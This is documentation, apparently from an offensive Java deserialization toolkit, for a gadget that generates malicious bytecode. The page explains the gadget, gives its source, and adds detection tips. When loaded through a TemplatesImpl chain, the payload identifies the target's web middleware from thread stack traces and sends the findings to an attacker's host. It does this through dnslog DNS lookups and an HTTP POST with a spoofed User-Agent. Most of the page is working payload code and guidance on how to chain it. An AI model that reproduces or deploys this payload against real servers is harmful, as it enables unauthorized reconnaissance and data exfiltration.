Skip to content

Latest commit

 

History

History
146 lines (130 loc) · 10.8 KB

File metadata and controls

146 lines (130 loc) · 10.8 KB

生成使用dnslog探测中间件的字节码(ServerInfoHttpDnsLog)

  • 类别:bytecode 别名:— 优先级:—(未设置)
  • 字节码模板
  • 作者:Pen4uin
  • 依赖:无第三方依赖(仅用 Javassist 生成字节码 + JDK 标准库 java.net

作用

生成一段「中间件探测 + 出网回显」的恶意字节码:当这段字节码被目标 JVM 加载并触发静态初始化时,会通过分析当前线程调用栈指纹识别所运行的 Web 中间件/框架(tomcat、weblogic、jetty、spring 等),并把识别结果同时经 DNS(dnslog 子域)与 HTTP POST 两条通道外带到攻击者指定的 host。它是一个链尾(END)的字节码 sink,用于在盲打场景下确认「字节码是否成功执行」以及「目标究竟是什么中间件」。

链接标签

  • 入口 tagsBytecodeEND
    • Bytecode —— 标记本 gadget 产出的是一段「原始类字节码」(byte[]),可被上游字节码装载器承接。上游 BytecodeConverttags=BytecodeConvertTag, nextTags=Bytecode)正是通过该标签把本字节码包装成实现 AbstractTranslet 的类,进而塞入 TemplatesImpl,由 newTransformer()/defineClass 触发执行。
    • END —— 标记本 gadget 是链尾终点,其后不再衔接任何 gadget。
  • 衔接 nextTags:空。作为终点不向下游注入标签。
  • excludes:空。无互斥约束。

源码剖析

外层 Gadget:ServerInfoHttpDnsLog

@GadgetTags(tags={"Bytecode", "END"})
@GadgetAnnotation(name="生成使用dnslog探测中间件的字节码", authors={"Pen4uin"})
public class ServerInfoHttpDnsLog implements Gadget {
    @Param(name="IP:PORT或者域名",
           description="把检测到的中间件内容发送到指定的IP:PORT,或者dnslog中,eg: x.dnslog.cn")
    public String host;

    public byte[] getObject() throws Exception {
        JavassistHelper javassistHelper = new JavassistHelper(ServerInfoHttpDnsLogBytecode.class);
        javassistHelper.modifyStringField("host", this.host);   // 把用户填写的 host 注入模板类的 static 字段
        byte[] bytecode = javassistHelper.getBytecode();        // 导出改写后的类字节码
        return bytecode;
    }

    @Override
    public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
        chain.doCreate(context);   // END 终点:内层不产出实际对象,仅走完链协议
        return this.getObject();   // 返回 byte[],交由上游 Bytecode 装载器处理
    }
}

逐段解释:

  • getObject() 以预编译的模板类 ServerInfoHttpDnsLogBytecode 为蓝本,用 JavassistHelper.modifyStringField("host", this.host) 把用户配置的 host 常量改写进模板类的静态字段 host,再 getBytecode() 导出为 byte[]。恶意逻辑本身早已写死在模板类里,Gadget 只负责「填参数 + 取字节码」。
  • invoke() 遵循 java-chains 由内向外的构建协议先调用 chain.doCreate(context);但本 gadget 是 END 终点,内层没有实际对象要包装,随后直接 return this.getObject() 把字节码作为最内层产物交给上游。

内层载荷:ServerInfoHttpDnsLogBytecode(真正执行的恶意类)

该类的恶意逻辑全部挂在静态初始化块 → 构造器上,因此只要类被「加载并初始化」(例如经 TemplatesImpl.newTransformer() 触发 defineClass + 实例化)即自动执行:

static {
    new ServerInfoHttpDnsLogBytecode();          // 类一旦被初始化即触发
}
public ServerInfoHttpDnsLogBytecode() {
    serverTypes = getServerType();               // 1. 指纹识别中间件
    sendServerType();                            // 2. 经 DNS(dnslog) 外带
    http();                                      // 3. 经 HTTP POST 外带
}

1)中间件指纹识别 —— 读当前线程调用栈,按类名前缀归类:

public static Set getServerType() {
    HashSet<String> serverTypes = new HashSet<>();
    Map<Thread, StackTraceElement[]> stackTraces = Thread.getAllStackTraces();
    ...
    serverTypes.add("START");
    ...
    for (StackTraceElement element : stackTraceElements) {
        if (element.getClassName().contains("org.apache.catalina.core")) serverTypes.add("tomcat");
        if (element.getClassName().contains("weblogic.servlet.internal")) serverTypes.add("weblogic");
        if (element.getClassName().contains("com.caucho.server"))          serverTypes.add("resin");
        if (element.getClassName().contains("org.eclipse.jetty.server"))   serverTypes.add("jetty");
        if (element.getClassName().contains("com.ibm.ws"))                 serverTypes.add("websphere");
        if (element.getClassName().contains("io.undertow.server"))         serverTypes.add("undertow");
        if (element.getClassName().contains("glassfish"))                  serverTypes.add("glassfish");
        // 另含 tongweb / bes / coldfusion / cvicse / primeton / apusic / kingdee /
        //      NettyHttpServerHandler / ChannelHandler / spring 等国产及框架指纹
        ...
    }
    serverTypes.add("END");
    return serverTypes;
}

它用 Thread.getAllStackTraces() 取到(首个线程的)栈帧,遍历每一帧的类名做 contains 匹配,命中即把对应中间件标签加入集合,并用 START/END 作为「结果起止哨兵」。若一个都没匹配到则回落为 none

2)DNS 通道外带(dnslog):

private static void sendServerType() {
    for (String type : serverTypes) {
        domain_res = String.format("%s.%d.%s", type, System.nanoTime(), host);  // eg: tomcat.<nanotime>.x.dnslog.cn
        InetAddress.getAllByName(domain_res);   // 触发一次 DNS 解析 → dnslog 记录到
    }
}

把每个识别到的中间件类型拼成 type.<纳秒时间戳>.<host> 子域并做一次 DNS 解析——只要 host 填的是 dnslog 域名,攻击者就能在 dnslog 平台看到形如 tomcat.xxxx.x.dnslog.cn 的解析记录,从而同时确认「字节码执行成功」和「中间件类型」。加纳秒时间戳是为绕过 DNS 缓存、保证每次都真实出网。

3)HTTP 通道外带:

public static void http() {
    StringBuilder sb = new StringBuilder();
    for (String type : serverTypes) sb.append(type + "\n");
    URL url = new URL("http://" + host);
    HttpURLConnection connection = (HttpURLConnection) url.openConnection();
    connection.setRequestMethod("POST");
    connection.setRequestProperty("Content-Type", "application/json; utf-8");
    connection.setRequestProperty("User-Agent",
        "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5622.127 Safari/137.36");
    connection.setDoOutput(true);
    try (OutputStream os = connection.getOutputStream()) {
        os.write(sb.toString().getBytes(Charset.forName("UTF-8")));   // POST body 为换行分隔的中间件列表
    }
    ...
}

host 填的是 IP:PORT(可 HTTP 访问的攻击者服务器)时,还会把识别结果以换行分隔的文本 POSThttp://<host>。因此本 gadget 的 host 一参两用:既可作 dnslog 子域,也可作 HTTP 回连地址。

参数(@Param)

字段 名称 说明 类型 默认 可选值
host IP:PORT或者域名 探测结果的外带目标:可填 dnslog 域名(走 DNS 回显),也可填可访问的 IP:PORT(走 HTTP POST 回显)。eg: x.dnslog.cn String 无(需手填) 自由字符串

适用版本与原理要点

  • 无版本/依赖约束:模板类只用 java.net.InetAddress / HttpURLConnection / Thread.getAllStackTraces 等 JDK 标准 API,不引第三方库,跨 JDK 通用。
  • 能否落地取决于「谁来加载这段字节码」:本身只是 byte[],需上游装载器把它变成会被初始化的类。经典路径是 BytecodeConvert 将其改造为 AbstractTranslet 子类塞进 TemplatesImpl,再由某条反序列化链触发 newTransformer();此路径受 TemplatesImpl 生效条件约束(如高版本 JDK 的模块化限制)。
  • 双通道冗余设计:DNS 与 HTTP 并行,任一条出网即可拿到结果,适合出网策略不明的盲打探测;DNS 更易穿透仅放行 UDP/53 的环境,HTTP 能带回更完整的类型列表。
  • 哨兵语义:结果集固定含 START/END,可据此在 dnslog/HTTP 侧判断「回显是否完整」;none 表示栈里未命中任何已知指纹。
  • 局限:只抽取 Thread.getAllStackTraces() 返回中的(迭代器首个)线程栈做匹配,若触发点所在线程栈未包含中间件特征类,可能仅回显 START/END/none 而识别不到具体类型。

所属预设链

自由构件,未直接出现在任何预设链(usedInChains 为空)。通常按需手工组合到「字节码装载类」链路末端使用,典型形态:[..., BytecodeConvert, ServerInfoHttpDnsLog]BytecodeConvert 承接其 Bytecode 标签)。

关联

  • 上游(承接 Bytecode 的装载器):BytecodeConvert
  • 同族探测型字节码 sink(均为 Bytecode,END):
    • ServerDetectorWithDNSLog —— 同样做中间件指纹识别,但仅 DNS 单通道回显(参数为 domain),无 HTTP POST。
    • DNSLog —— 最精简的 dnslog 出网探测,仅验证字节码可执行,不做中间件识别。
    • DNSLogWithInfoDNSLogAndHttp —— 携带更多主机信息 / DNS+HTTP 组合出网的变体。

防御与检测

  • DNS 侧特征:出现形如 tomcat.<数字>.<域>weblogic.<数字>.<域>spring.<数字>.<域> 以及带 START./END./none. 前缀的可疑子域解析请求;同一时刻批量、带纳秒级时间戳前缀的多条子域是强指纹。
  • HTTP 侧特征:服务器主动向外发起 POST /Content-Type: application/json; utf-8、固定 User-Agent: ...Chrome/114.0.5622.127 Safari/137.36,请求体为 tomcat\nspring\nSTART\nEND 这类换行分隔的短文本。
  • 主机/字节码侧特征:应用进程内动态定义的类在静态初始化块中 new 自身、调用 Thread.getAllStackTraces() 并随即发起 InetAddress.getAllByName / HttpURLConnection;类名多为随机短名(经 BytecodeConvert 随机化)。
  • 加固建议
    • 收敛服务器出网(DNS 递归解析与出站 HTTP 白名单),阻断 dnslog 类平台域名与未知回连地址。
    • 对反序列化入口做类型白名单,重点拦截 TemplatesImpl / AbstractTranslet 的加载路径,切断「字节码 → 定义类 → 静态初始化执行」链条。
    • 运行期以 RASP/字节码校验拦截「静态块中调用 Thread.getAllStackTraces 后立即出网」的异常行为模式。